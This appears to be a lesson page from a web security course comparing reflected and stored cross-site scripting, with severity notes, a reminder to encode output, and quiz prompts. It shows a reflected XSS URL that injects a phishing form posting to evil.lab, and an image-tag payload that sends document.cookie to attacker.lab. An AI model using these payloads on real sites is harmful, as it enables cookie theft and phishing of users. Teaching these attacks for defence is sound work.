Stored vs Reflected XSS

Compare delivery, persistence, and real-world abuse paths for reflected and stored XSS

15 min+56 XP3 quiz

Module progress2 of 6

Visual · web_developer

Reflected XSS travels in the link; stored XSS waits in the database. Both execute in the victim browser under your domain.

Opening

Same payload, different delivery

Pen testers and bug bounty hunters file these as separate findings because the exploit path and blast radius differ. Reflected needs social engineering—a phishing email with a nasty query string. Stored XSS is a landmine: one malicious comment hits every admin who opens the ticket queue.

1. Reflected XSS in Detail

Trigger
Victim clicks attacker URL or submits crafted form.
Lifetime
Single request/response; not saved unless logged.
Typical sinks
Search boxes, error pages, redirect parameters.

Reflected phishing combo (lab demo)https://shop.lab/login?error=<script> document.body.innerHTML='<form action=https://evil.lab>...' </script>

https://shop.lab/login?error=<script>
document.body.innerHTML='<form action=https://evil.lab>...'
</script>

2. Stored XSS in Detail

Trigger
Victim browses a page that loads saved content.
Lifetime
Until the payload is deleted or sanitized on display.
Typical sinks
Comments, chat, markdown previews, admin notes, file names.

Stored comment payload (authorized lab)<img src=x onerror="fetch('https://attacker.lab/steal?c='+document.cookie)">

<img src=x onerror="fetch('https://attacker.lab/steal?c='+document.cookie)">

3. Severity Snapshot

Stored XSS usually ranks higher: passive victims, admin panels, and worm-like spread in social features. Reflected still critical on sensitive actions (password reset tokens in URL, OAuth callbacks). DOM XSS can behave like either depending on whether the fragment persists in shared links.

Test both on output

Validate on input if you want, but always encode or sanitize at the point data enters HTML/JS/CSS context on output. Stored XSS is why comment fields in your lab need the same treatment as search boxes.

Knowledge Check

Reflected XSS typically requires:

Multiple choice

Knowledge Check

True or False: Stored XSS can affect users who never click an attacker link.

True or False

Knowledge Check

Which is often higher severity?

Multiple choice

← Previous

Answer all 3 knowledge checks to continue. (0/3 answered)

Guest mode — log in to track XP